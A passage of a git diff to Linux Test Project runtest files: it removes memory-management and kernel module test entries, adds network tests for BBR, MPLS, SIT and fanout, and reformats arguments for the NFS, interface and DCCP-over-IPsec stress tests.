-mm02 mmap001
-# simple mmap() test.
-#mm03 mmap001 -i 0 -I 1 -m 100
-# repetitive mmapping test.
-# Creates a one page map repetitively for one minute.
-
-mtest01 mtest01 -p80
-mtest01w mtest01 -p80 -w
-
-#test for race conditions
-mtest05 mmstress
-mtest06 mmap1 -x 0.05
-
-mem01 mem01
-mem02 mem02
-
-page01 page01
-page02 page02
-
-data_space data_space
-stack_space stack_space
-
-shmt02 shmt02
-shmt03 shmt03
-shmt04 shmt04
-shmt05 shmt05
-shmt06 shmt06
-shmt07 shmt07
-shmt08 shmt08
-shmt09 shmt09
-shmt10 shmt10
-
-#DESCRIPTION:Scheduler Stress Tests
-pth_str01 pth_str01
-pth_str02 pth_str02 -n1000
-pth_str03 pth_str03
-
-#DESCRIPTION:Native POSIX Thread Library (NPTL) Tests
-nptl01 nptl01
-
-#DESCRIPTION:Terminal type stress
-pty01 pty01
-ptem01 ptem01
-hangup01 hangup01
-
-#DESCRIPTION:Filesystem stress tests
-gf01 growfiles -W gf01 -b -e 1 -u -i 0 -L 20 -w -C 1 -l -I r -T 10 glseek20 glseek20.2
-gf02 growfiles -W gf02 -b -e 1 -L 10 -i 100 -I p -S 2 -u -f gf03_
-gf03 growfiles -W gf03 -b -e 1 -g 1 -i 1 -S 150 -u -f gf05_
-#gf04 growfiles -W gf04 -b -e 1 -g 4090 -i 500 -t 39000 -u -f gf06_
-#gf05 growfiles -W gf05 -b -e 1 -g 5000 -i 500 -t 49900 -T10 -c9 -I p -u -f gf07_
-gf06 growfiles -W gf06 -b -e 1 -u -r 1-5000 -R 0--1 -i 0 -L 30 -C 1 g_rand10 g_rand10.2
-gf07 growfiles -W gf07 -b -e 1 -u -r 1-5000 -R 0--2 -i 0 -L 30 -C 1 -I p g_rand13 g_rand13.2
-#gf08 growfiles -W gf08 -b -e 1 -u -r 1-5000 -R 0--2 -i 0 -L 30 -C 1 g_rand11 g_rand11.2
-#gf09 growfiles -W gf09 -b -e 1 -u -r 1-5000 -R 0--1 -i 0 -L 30 -C 1 -I p g_rand12 g_rand12.2
-gf10 growfiles -W gf10 -b -e 1 -u -r 1-5000 -i 0 -L 30 -C 1 -I l g_lio14 g_lio14.2
-gf11 growfiles -W gf11 -b -e 1 -u -r 1-5000 -i 0 -L 30 -C 1 -I L g_lio15 g_lio15.2
-gf12 mkfifo gffifo17; growfiles -b -W gf12 -e 1 -u -i 0 -L 30 gffifo17
-gf13 mkfifo gffifo18; growfiles -b -W gf13 -e 1 -u -i 0 -L 30 -I r -r 1-4096 gffifo18
-gf14 growfiles -W gf14 -b -e 1 -u -i 0 -L 20 -w -l -C 1 -T 10 glseek19 glseek19.2
-gf15 growfiles -W gf15 -b -e 1 -u -r 1-49600 -I r -u -i 0 -L 120 Lgfile1
-#gf16 growfiles -W gf16 -b -e 1 -i 0 -L 120 -u -g 4090 -T 100 -t 408990 -l -C 10 -c 1000 -S 10 -f Lgf02_
-gf17 growfiles -W gf17 -b -e 1 -i 0 -L 120 -u -g 5000 -T 100 -t 499990 -l -C 10 -c 1000 -S 10 -f Lgf03_
-gf18 growfiles -W gf18 -b -e 1 -i 0 -L 120 -w -u -r 10-5000 -I r -l -S 2 -f Lgf04_
-gf19 growfiles -W gf19 -b -e 1 -g 5000 -i 500 -t 49900 -T10 -c9 -I p -o O_RDWR,O_CREAT,O_TRUNC -u -f gf08i_
-gf20 growfiles -W gf20 -D 0 -b -i 0 -L 60 -u -B 1000b -e 1 -r 1-256000:512 -R 512-256000 -T 4 gfbigio-$$
-#gf21 growfiles -W gf21 -D 0 -b -i 0 -L 60 -u -B 1000b -e 1 -g 20480 -T 10 -t 20480 gf-bld-$$
-#gf22 growfiles -W gf22 -D 0 -b -i 0 -L 60 -u -B 1000b -e 1 -g 20480 -T 10 -t 20480 gf-bldf-$$
-gf23 growfiles -W gf23 -D 0 -b -i 0 -L 60 -u -B 1000b -e 1 -r 512-64000:1024 -R 1-384000 -T 4 gf-inf-$$
-gf24 growfiles -W gf24 -D 0 -b -i 0 -L 60 -u -B 1000b -e 1 -g 20480 gf-jbld-$$
-gf25 growfiles -W gf25 -D 0 -b -i 0 -L 60 -u -B 1000b -e 1 -r 1024000-2048000:2048 -R 4095-2048000 -T 1 gf-large-gs-$$
-gf26 growfiles -W gf26 -D 0 -b -i 0 -L 60 -u -B 1000b -e 1 -r 128-32768:128 -R 512-64000 -T 4 gfsmallio-$$
-gf27 growfiles -W gf27 -b -D 0 -w -g 8b -C 1 -b -i 1000 -u gfsparse-1-$$
-#gf28 growfiles -W gf28 -b -D 0 -w -g 16b -C 1 -b -i 1000 -u gfsparse-2-$$
-#gf29 growfiles -W gf29 -b -D 0 -r 1-4096 -R 0-33554432 -i 0 -L 60 -C 1 -u gfsparse-3-$$
-gf30 growfiles -W gf30 -D 0 -b -i 0 -L 60 -u -B 1000b -e 1 -o O_RDWR,O_CREAT,O_SYNC -g 20480 -T 10 -t 20480 gf-sync-$$
-rwtest01 export LTPROOT; rwtest -N rwtest01 -c -q -i 60s  -f sync 10%25000:rw-sync-$$
-rwtest02 export LTPROOT; rwtest -N rwtest02 -c -q -i 60s  -f buffered 10%25000:rw-buffered-$$
-rwtest03 export LTPROOT; rwtest -N rwtest03 -c -q -i 60s -n 2  -f buffered -s mmread,mmwrite -m random -Dv 10%25000:mm-buff-$$
-rwtest04 export LTPROOT; rwtest -N rwtest04 -c -q -i 60s -n 2  -f sync -s mmread,mmwrite -m random -Dv 10%25000:mm-sync-$$
-rwtest05 export LTPROOT; rwtest -N rwtest05 -c -q -i 50 -T 64b 500b:/tmp/rwtest01%f
-
-
diff --git a/runtest/mm b/runtest/mm
index 76d2335..a09f39c 100644
--- a/runtest/mm
+++ b/runtest/mm
@@ -14,7 +14,7 @@
 
 #test for race conditions
 mtest05   mmstress
-mtest06   mmap1 -x 0.05
+mtest06   mmap1
 mtest06_2 mmap2 -x 0.002 -a -p
 mtest06_3 mmap3 -x 0.002 -p
 # Remains diabled till the infinite loop problem is solved
diff --git a/runtest/modules b/runtest/modules
deleted file mode 100644
index 0f1ba52..0000000
--- a/runtest/modules
+++ /dev/null
@@ -1,5 +0,0 @@
-#DESCRIPTION:2.6.x kernel module tests
-delete_module01 delete_module01
-delete_module02 delete_module02
-delete_module03 delete_module03
-
diff --git a/runtest/net.features b/runtest/net.features
index 46c58f0..c5a36a6 100644
--- a/runtest/net.features
+++ b/runtest/net.features
@@ -1,6 +1,14 @@
 #
 # Stress tests for various network features
 #
+bbr01 bbr01.sh
+bbr01_ipv6 bbr01.sh -6
+
+bbr02 bbr02.sh
+bbr02_ipv6 bbr02.sh -6
+
+bind_noport01 bind_noport01.sh
+bind_noport01_ipv6 bind_noport01.sh -6
 
 busy_poll01 busy_poll01.sh
 busy_poll01_ipv6 busy_poll01.sh -6
@@ -50,3 +58,14 @@
 
 geneve01 geneve01.sh
 geneve01_ipv6 geneve01.sh -6
+
+sit01 sit01.sh
+
+mpls01 mpls01.sh
+mpls02 mpls02.sh
+mpls02_ipv6 mpls02.sh -6
+mpls03 mpls03.sh
+mpls03_ipv6 mpls03.sh -6
+mpls04 mpls04.sh
+
+fanout01 fanout01
diff --git a/runtest/net.ipv6 b/runtest/net.ipv6
index d8f85cc..261a725 100644
--- a/runtest/net.ipv6
+++ b/runtest/net.ipv6
@@ -7,4 +7,4 @@
 traceroute601 traceroute01.sh -6
 dhcpd6 dhcpd_tests.sh -6
 dnsmasq6 dnsmasq_tests.sh -6
-ipneigh601 ipneigh01.sh -6
+ipneigh6_ip ipneigh01.sh -6 -c ip
diff --git a/runtest/net.nfs b/runtest/net.nfs
index bd6cfdd..3df3580 100644
--- a/runtest/net.nfs
+++ b/runtest/net.nfs
@@ -57,9 +57,9 @@
 nfs41_ipv6_05 nfs05 -6 -v 4.1 -t tcp
 nfs42_ipv6_05 nfs05 -6 -v 4.2 -t tcp
 
-nfs01_06  nfs06 -v "3 3 3 4 4 4" -t "udp udp tcp tcp tcp tcp"
-nfs02_06 nfs06 -v "3 4 4.1 4.2 4.2 4.2" -t "udp tcp tcp tcp tcp tcp"
-nfs03_ipv6_06 nfs06 -6 -v "4 4.1 4.1 4.2 4.2 4.2" -t "tcp tcp tcp tcp tcp tcp"
+nfs01_06  nfs06 -v "3,3,3,4,4,4" -t "udp,udp,tcp,tcp,tcp,tcp"
+nfs02_06 nfs06 -v "3,4,4.1,4.2,4.2,4.2" -t "udp,tcp,tcp,tcp,tcp,tcp"
+nfs03_ipv6_06 nfs06 -6 -v "4,4.1,4.1,4.2,4.2,4.2" -t "tcp,tcp,tcp,tcp,tcp,tcp"
 
 nfslock3_01 nfslock01 -v 3 -t udp
 nfslock3t_01 nfslock01 -v 3 -t tcp
diff --git a/runtest/net.tcp_cmds b/runtest/net.tcp_cmds
index 859f481..cfeacee 100644
--- a/runtest/net.tcp_cmds
+++ b/runtest/net.tcp_cmds
@@ -2,7 +2,8 @@
 #
 # PLEASE READ THE README FILE IN /tcp_cmds BEFORE RUNNING THESE.
 #
-ipneigh01 ipneigh01.sh
+ipneigh01_arp ipneigh01.sh -c arp
+ipneigh01_ip ipneigh01.sh -c ip
 arping01 arping01.sh
 clockdiff01 clockdiff01.sh
 ftp export TCbin=$LTPROOT/testcases/network/tcp_cmds/ftp; ftp01
diff --git a/runtest/net_stress.interface b/runtest/net_stress.interface
index 97e9ce3..315f125 100644
--- a/runtest/net_stress.interface
+++ b/runtest/net_stress.interface
@@ -2,18 +2,30 @@
 # Stress test for interface
 #
 
-if4-addr-change if4-addr-change
+if4-addr-change_ifconfig if4-addr-change
 
-if4-updown if-updown
-if4-addr-adddel if-addr-adddel
-if4-addr-addlarge if-addr-addlarge
-if4-route-adddel if-route-adddel
-if4-route-addlarge if-route-addlarge
-if4-mtu-change if-mtu-change
+if4-updown_ip if-updown -c ip
+if4-updown_ifconfig if-updown -c ifconfig
+if4-addr-adddel_ip if-addr-adddel -c ip
+if4-addr-adddel_ifconfig if-addr-adddel -c ifconfig
+if4-addr-addlarge_ip if-addr-addlarge -c ip
+if4-addr-addlarge_ifconfig if-addr-addlarge -c ifconfig
+if4-route-adddel_ip if-route-adddel -c ip
+if4-route-adddel_route if-route-adddel -c route
+if4-route-addlarge_ip if-route-addlarge -c ip
+if4-route-addlarge_route if-route-addlarge -c route
+if4-mtu-change_ip if-mtu-change -c ip
+if4-mtu-change_ifconfig if-mtu-change -c ifconfig
 
-if6-updown if-updown -6
-if6-addr-adddel if-addr-adddel -6
-if6-addr-addlarge if-addr-addlarge -6
-if6-route-adddel if-route-adddel -6
-if6-route-addlarge if-route-addlarge -6
-if6-mtu-change if-mtu-change -6
+if6-updown_ip if-updown -6 -c ip
+if6-updown_ifconfig if-updown -6 -c ifconfig
+if6-addr-adddel_ip if-addr-adddel -6 -c ip
+if6-addr-adddel_ifconfig if-addr-adddel -6 -c ifconfig
+if6-addr-addlarge_ip if-addr-addlarge -6 -c ip
+if6-addr-addlarge_ifconfig if-addr-addlarge -6 -c ifconfig
+if6-route-adddel_ip if-route-adddel -6 -c ip
+if6-route-adddel_route if-route-adddel -6 -c route
+if6-route-addlarge_ip if-route-addlarge -6 -c ip
+if6-route-addlarge_route if-route-addlarge -6 -c route
+if6-mtu-change_ip if-mtu-change -6 -c ip
+if6-mtu-change_ifconfig if-mtu-change -6 -c ifconfig
diff --git a/runtest/net_stress.ipsec_dccp b/runtest/net_stress.ipsec_dccp
index d867ab5..cdd10da 100644
--- a/runtest/net_stress.ipsec_dccp
+++ b/runtest/net_stress.ipsec_dccp
@@ -1,109 +1,109 @@
-dccp4_ipsec01 dccp_ipsec.sh -s "100 500 1000"
-dccp4_ipsec02 dccp_ipsec.sh -p ah -m transport -s "100 500 1000"
-dccp4_ipsec03 dccp_ipsec.sh -p ah -m tunnel -s "100 500 1000"
-dccp4_ipsec04 dccp_ipsec.sh -p esp -m transport -s "100 500 1000"
-dccp4_ipsec05 dccp_ipsec.sh -p esp -m tunnel -s "100 500 1000"
-dccp4_ipsec06 dccp_ipsec.sh -p comp -m transport -s "100 500 1000"
-dccp4_ipsec07 dccp_ipsec.sh -p comp -m tunnel -s "100 500 1000"
-dccp4_ipsec08 dccp_ipsec.sh -A rfc4106_128 -p esp_aead -m transport -s "100 500 1000"
-dccp4_ipsec09 dccp_ipsec.sh -A rfc4106_128 -p esp_aead -m tunnel -s "100 500 1000"
-dccp4_ipsec10 dccp_ipsec.sh -A rfc4106_192 -p esp_aead -m transport -s "100 500 1000"
-dccp4_ipsec11 dccp_ipsec.sh -A rfc4106_192 -p esp_aead -m tunnel -s "100 500 1000"
-dccp4_ipsec12 dccp_ipsec.sh -A rfc4106_256 -p esp_aead -m transport -s "100 500 1000"
-dccp4_ipsec13 dccp_ipsec.sh -A rfc4106_256 -p esp_aead -m tunnel -s "100 500 1000"
-dccp4_ipsec14 dccp_ipsec.sh -A rfc4309_128 -p esp_aead -m transport -s "100 500 1000"
-dccp4_ipsec15 dccp_ipsec.sh -A rfc4309_128 -p esp_aead -m tunnel -s "100 500 1000"
-dccp4_ipsec16 dccp_ipsec.sh -A rfc4309_192 -p esp_aead -m transport -s "100 500 1000"
-dccp4_ipsec17 dccp_ipsec.sh -A rfc4309_192 -p esp_aead -m tunnel -s "100 500 1000"
-dccp4_ipsec18 dccp_ipsec.sh -A rfc4309_256 -p esp_aead -m transport -s "100 500 1000"
-dccp4_ipsec19 dccp_ipsec.sh -A rfc4309_256 -p esp_aead -m tunnel -s "100 500 1000"
-dccp4_ipsec20 dccp_ipsec.sh -A rfc4543_128 -p esp_aead -m transport -s "100 500 1000"
-dccp4_ipsec21 dccp_ipsec.sh -A rfc4543_128 -p esp_aead -m tunnel -s "100 500 1000"
-dccp4_ipsec22 dccp_ipsec.sh -A rfc4543_192 -p esp_aead -m transport -s "100 500 1000"
-dccp4_ipsec23 dccp_ipsec.sh -A rfc4543_192 -p esp_aead -m tunnel -s "100 500 1000"
-dccp4_ipsec24 dccp_ipsec.sh -A rfc4543_256 -p esp_aead -m transport -s "100 500 1000"
-dccp4_ipsec25 dccp_ipsec.sh -A rfc4543_256 -p esp_aead -m tunnel -s "100 500 1000"
-dccp4_ipsec26 dccp_ipsec.sh -p esp -a sha1 -e cast5 -m transport -s "100 500 1000"
-dccp4_ipsec27 dccp_ipsec.sh -p esp -a sha1 -e cast5 -m tunnel -s "100 500 1000"
-dccp4_ipsec28 dccp_ipsec.sh -p esp -a sha256 -e blowfish -m transport -s "100 500 1000"
-dccp4_ipsec29 dccp_ipsec.sh -p esp -a sha256 -e blowfish -m tunnel -s "100 500 1000"
-dccp4_ipsec30 dccp_ipsec.sh -p esp -a sha384 -e twofish -m transport -s "100 500 1000"
-dccp4_ipsec31 dccp_ipsec.sh -p esp -a sha384 -e twofish -m tunnel -s "100 500 1000"
-dccp4_ipsec32 dccp_ipsec.sh -p esp -a sha512 -e camellia -m transport -s "100 500 1000"
-dccp4_ipsec33 dccp_ipsec.sh -p esp -a sha512 -e camellia -m tunnel -s "100 500 1000"
-dccp4_ipsec34 dccp_ipsec.sh -p esp -a rmd160 -e serpent -m transport -s "100 500 1000"
-dccp4_ipsec35 dccp_ipsec.sh -p esp -a rmd160 -e serpent -m tunnel -s "100 500 1000"
-dccp4_ipsec36 dccp_ipsec.sh -p esp -m beet -s "100 500 1000"
+dccp4_ipsec01 dccp_ipsec.sh -s 100:500:1000
+dccp4_ipsec02 dccp_ipsec.sh -p ah -m transport -s 100:500:1000
+dccp4_ipsec03 dccp_ipsec.sh -p ah -m tunnel -s 100:500:1000
+dccp4_ipsec04 dccp_ipsec.sh -p esp -m transport -s 100:500:1000
+dccp4_ipsec05 dccp_ipsec.sh -p esp -m tunnel -s 100:500:1000
+dccp4_ipsec06 dccp_ipsec.sh -p comp -m transport -s 100:500:1000
+dccp4_ipsec07 dccp_ipsec.sh -p comp -m tunnel -s 100:500:1000
+dccp4_ipsec08 dccp_ipsec.sh -A rfc4106_128 -p esp_aead -m transport -s 100:500:1000
+dccp4_ipsec09 dccp_ipsec.sh -A rfc4106_128 -p esp_aead -m tunnel -s 100:500:1000
+dccp4_ipsec10 dccp_ipsec.sh -A rfc4106_192 -p esp_aead -m transport -s 100:500:1000
+dccp4_ipsec11 dccp_ipsec.sh -A rfc4106_192 -p esp_aead -m tunnel -s 100:500:1000
+dccp4_ipsec12 dccp_ipsec.sh -A rfc4106_256 -p esp_aead -m transport -s 100:500:1000
+dccp4_ipsec13 dccp_ipsec.sh -A rfc4106_256 -p esp_aead -m tunnel -s 100:500:1000
+dccp4_ipsec14 dccp_ipsec.sh -A rfc4309_128 -p esp_aead -m transport -s 100:500:1000
+dccp4_ipsec15 dccp_ipsec.sh -A rfc4309_128 -p esp_aead -m tunnel -s 100:500:1000
+dccp4_ipsec16 dccp_ipsec.sh -A rfc4309_192 -p esp_aead -m transport -s 100:500:1000
+dccp4_ipsec17 dccp_ipsec.sh -A rfc4309_192 -p esp_aead -m tunnel -s 100:500:1000
+dccp4_ipsec18 dccp_ipsec.sh -A rfc4309_256 -p esp_aead -m transport -s 100:500:1000
+dccp4_ipsec19 dccp_ipsec.sh -A rfc4309_256 -p esp_aead -m tunnel -s 100:500:1000
+dccp4_ipsec20 dccp_ipsec.sh -A rfc4543_128 -p esp_aead -m transport -s 100:500:1000
+dccp4_ipsec21 dccp_ipsec.sh -A rfc4543_128 -p esp_aead -m tunnel -s 100:500:1000
+dccp4_ipsec22 dccp_ipsec.sh -A rfc4543_192 -p esp_aead -m transport -s 100:500:1000
+dccp4_ipsec23 dccp_ipsec.sh -A rfc4543_192 -p esp_aead -m tunnel -s 100:500:1000
+dccp4_ipsec24 dccp_ipsec.sh -A rfc4543_256 -p esp_aead -m transport -s 100:500:1000
+dccp4_ipsec25 dccp_ipsec.sh -A rfc4543_256 -p esp_aead -m tunnel -s 100:500:1000
+dccp4_ipsec26 dccp_ipsec.sh -p esp -a sha1 -e cast5 -m transport -s 100:500:1000
+dccp4_ipsec27 dccp_ipsec.sh -p esp -a sha1 -e cast5 -m tunnel -s 100:500:1000
+dccp4_ipsec28 dccp_ipsec.sh -p esp -a sha256 -e blowfish -m transport -s 100:500:1000
+dccp4_ipsec29 dccp_ipsec.sh -p esp -a sha256 -e blowfish -m tunnel -s 100:500:1000
+dccp4_ipsec30 dccp_ipsec.sh -p esp -a sha384 -e twofish -m transport -s 100:500:1000
+dccp4_ipsec31 dccp_ipsec.sh -p esp -a sha384 -e twofish -m tunnel -s 100:500:1000
+dccp4_ipsec32 dccp_ipsec.sh -p esp -a sha512 -e camellia -m transport -s 100:500:1000
+dccp4_ipsec33 dccp_ipsec.sh -p esp -a sha512 -e camellia -m tunnel -s 100:500:1000
+dccp4_ipsec34 dccp_ipsec.sh -p esp -a rmd160 -e serpent -m transport -s 100:500:1000
+dccp4_ipsec35 dccp_ipsec.sh -p esp -a rmd160 -e serpent -m tunnel -s 100:500:1000
+dccp4_ipsec36 dccp_ipsec.sh -p esp -m beet -s 100:500:1000
 
-dccp6_ipsec01 dccp_ipsec.sh -6 -s "100 500 1000"
-dccp6_ipsec02 dccp_ipsec.sh -6 -p ah -m transport -s "100 500 1000"
-dccp6_ipsec03 dccp_ipsec.sh -6 -p ah -m tunnel -s "100 500 1000"
-dccp6_ipsec04 dccp_ipsec.sh -6 -p esp -m transport -s "100 500 1000"
-dccp6_ipsec05 dccp_ipsec.sh -6 -p esp -m tunnel -s "100 500 1000"
-dccp6_ipsec06 dccp_ipsec.sh -6 -p comp -m transport -s "100 500 1000"
-dccp6_ipsec07 dccp_ipsec.sh -6 -p comp -m tunnel -s "100 500 1000"
-dccp6_ipsec08 dccp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m transport -s "100 500 1000"
-dccp6_ipsec09 dccp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "100 500 1000"
-dccp6_ipsec10 dccp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m transport -s "100 500 1000"
-dccp6_ipsec11 dccp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "100 500 1000"
-dccp6_ipsec12 dccp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m transport -s "100 500 1000"
-dccp6_ipsec13 dccp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "100 500 1000"
-dccp6_ipsec14 dccp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m transport -s "100 500 1000"
-dccp6_ipsec15 dccp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s "100 500 1000"
-dccp6_ipsec16 dccp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m transport -s "100 500 1000"
-dccp6_ipsec17 dccp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s "100 500 1000"
-dccp6_ipsec18 dccp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m transport -s "100 500 1000"
-dccp6_ipsec19 dccp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s "100 500 1000"
-dccp6_ipsec20 dccp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m transport -s "100 500 1000"
-dccp6_ipsec21 dccp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s "100 500 1000"
-dccp6_ipsec22 dccp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m transport -s "100 500 1000"
-dccp6_ipsec23 dccp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s "100 500 1000"
-dccp6_ipsec24 dccp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m transport -s "100 500 1000"
-dccp6_ipsec25 dccp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s "100 500 1000"
-dccp6_ipsec26 dccp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m transport -s "100 500 1000"
-dccp6_ipsec27 dccp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s "100 500 1000"
-dccp6_ipsec28 dccp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m transport -s "100 500 1000"
-dccp6_ipsec29 dccp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s "100 500 1000"
-dccp6_ipsec30 dccp_ipsec.sh -6 -p esp -a sha384 -e twofish -m transport -s "100 500 1000"
-dccp6_ipsec31 dccp_ipsec.sh -6 -p esp -a sha384 -e twofish -m tunnel -s "100 500 1000"
-dccp6_ipsec32 dccp_ipsec.sh -6 -p esp -a sha512 -e camellia -m transport -s "100 500 1000"
-dccp6_ipsec33 dccp_ipsec.sh -6 -p esp -a sha512 -e camellia -m tunnel -s "100 500 1000"
-dccp6_ipsec34 dccp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m transport -s "100 500 1000"
-dccp6_ipsec35 dccp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s "100 500 1000"
-dccp6_ipsec36 dccp_ipsec.sh -6 -p esp -m beet -s "100 500 1000"
+dccp6_ipsec01 dccp_ipsec.sh -6 -s 100:500:1000
+dccp6_ipsec02 dccp_ipsec.sh -6 -p ah -m transport -s 100:500:1000
+dccp6_ipsec03 dccp_ipsec.sh -6 -p ah -m tunnel -s 100:500:1000
+dccp6_ipsec04 dccp_ipsec.sh -6 -p esp -m transport -s 100:500:1000
+dccp6_ipsec05 dccp_ipsec.sh -6 -p esp -m tunnel -s 100:500:1000
+dccp6_ipsec06 dccp_ipsec.sh -6 -p comp -m transport -s 100:500:1000
+dccp6_ipsec07 dccp_ipsec.sh -6 -p comp -m tunnel -s 100:500:1000
+dccp6_ipsec08 dccp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m transport -s 100:500:1000
+dccp6_ipsec09 dccp_ipsec.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s 100:500:1000
+dccp6_ipsec10 dccp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m transport -s 100:500:1000
+dccp6_ipsec11 dccp_ipsec.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s 100:500:1000
+dccp6_ipsec12 dccp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m transport -s 100:500:1000
+dccp6_ipsec13 dccp_ipsec.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s 100:500:1000
+dccp6_ipsec14 dccp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m transport -s 100:500:1000
+dccp6_ipsec15 dccp_ipsec.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s 100:500:1000
+dccp6_ipsec16 dccp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m transport -s 100:500:1000
+dccp6_ipsec17 dccp_ipsec.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s 100:500:1000
+dccp6_ipsec18 dccp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m transport -s 100:500:1000
+dccp6_ipsec19 dccp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s 100:500:1000
+dccp6_ipsec20 dccp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m transport -s 100:500:1000
+dccp6_ipsec21 dccp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s 100:500:1000
+dccp6_ipsec22 dccp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m transport -s 100:500:1000
+dccp6_ipsec23 dccp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s 100:500:1000
+dccp6_ipsec24 dccp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m transport -s 100:500:1000
+dccp6_ipsec25 dccp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s 100:500:1000
+dccp6_ipsec26 dccp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m transport -s 100:500:1000
+dccp6_ipsec27 dccp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s 100:500:1000
+dccp6_ipsec28 dccp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m transport -s 100:500:1000
+dccp6_ipsec29 dccp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s 100:500:1000
+dccp6_ipsec30 dccp_ipsec.sh -6 -p esp -a sha384 -e twofish -m transport -s 100:500:1000
+dccp6_ipsec31 dccp_ipsec.sh -6 -p esp -a sha384 -e twofish -m tunnel -s 100:500:1000
+dccp6_ipsec32 dccp_ipsec.sh -6 -p esp -a sha512 -e camellia -m transport -s 100:500:1000
+dccp6_ipsec33 dccp_ipsec.sh -6 -p esp -a sha512 -e camellia -m tunnel -s 100:500:1000
+dccp6_ipsec34 dccp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m transport -s 100:500:1000
+dccp6_ipsec35 dccp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s 100:500:1000
+dccp6_ipsec36 dccp_ipsec.sh -6 -p esp -m beet -s 100:500:1000
 
-dccp4_ipsec_vti01 dccp_ipsec_vti.sh -p ah -m tunnel -s "100 500 1000"
-dccp4_ipsec_vti02 dccp_ipsec_vti.sh -p esp -m tunnel -s "100 500 1000"
-# dccp4_ipsec_vti03 dccp_ipsec_vti.sh -p comp -m tunnel -s "100 500 1000"
-dccp4_ipsec_vti04 dccp_ipsec_vti.sh -A rfc4106_128 -p esp_aead -m tunnel -s "100 500 1000"
-dccp4_ipsec_vti05 dccp_ipsec_vti.sh -A rfc4106_192 -p esp_aead -m tunnel -s "100 500 1000"
-dccp4_ipsec_vti06 dccp_ipsec_vti.sh -A rfc4106_256 -p esp_aead -m tunnel -s "100 500 1000"
-dccp4_ipsec_vti07 dccp_ipsec_vti.sh -A rfc4309_128 -p esp_aead -m tunnel -s "100 500 1000"
-dccp4_ipsec_vti08 dccp_ipsec_vti.sh -A rfc4309_192 -p esp_aead -m tunnel -s "100 500 1000"
-dccp4_ipsec_vti09 dccp_ipsec_vti.sh -A rfc4309_256 -p esp_aead -m tunnel -s "100 500 1000"
-dccp4_ipsec_vti10 dccp_ipsec_vti.sh -A rfc4543_128 -p esp_aead -m tunnel -s "100 500 1000"
-dccp4_ipsec_vti11 dccp_ipsec_vti.sh -A rfc4543_192 -p esp_aead -m tunnel -s "100 500 1000"
-dccp4_ipsec_vti12 dccp_ipsec_vti.sh -A rfc4543_256 -p esp_aead -m tunnel -s "100 500 1000"
-dccp4_ipsec_vti13 dccp_ipsec_vti.sh -p esp -a sha1 -e cast5 -m tunnel -s "100 500 1000"
-dccp4_ipsec_vti14 dccp_ipsec_vti.sh -p esp -a sha256 -e blowfish -m tunnel -s "100 500 1000"
-dccp4_ipsec_vti15 dccp_ipsec_vti.sh -p esp -a sha384 -e twofish -m tunnel -s "100 500 1000"
-dccp4_ipsec_vti16 dccp_ipsec_vti.sh -p esp -a sha512 -e camellia -m tunnel -s "100 500 1000"
-dccp4_ipsec_vti17 dccp_ipsec_vti.sh -p esp -a rmd160 -e serpent -m tunnel -s "100 500 1000"
+dccp4_ipsec_vti01 dccp_ipsec_vti.sh -p ah -m tunnel -s 100:500:1000
+dccp4_ipsec_vti02 dccp_ipsec_vti.sh -p esp -m tunnel -s 100:500:1000
+# dccp4_ipsec_vti03 dccp_ipsec_vti.sh -p comp -m tunnel -s 100:500:1000
+dccp4_ipsec_vti04 dccp_ipsec_vti.sh -A rfc4106_128 -p esp_aead -m tunnel -s 100:500:1000
+dccp4_ipsec_vti05 dccp_ipsec_vti.sh -A rfc4106_192 -p esp_aead -m tunnel -s 100:500:1000
+dccp4_ipsec_vti06 dccp_ipsec_vti.sh -A rfc4106_256 -p esp_aead -m tunnel -s 100:500:1000
+dccp4_ipsec_vti07 dccp_ipsec_vti.sh -A rfc4309_128 -p esp_aead -m tunnel -s 100:500:1000
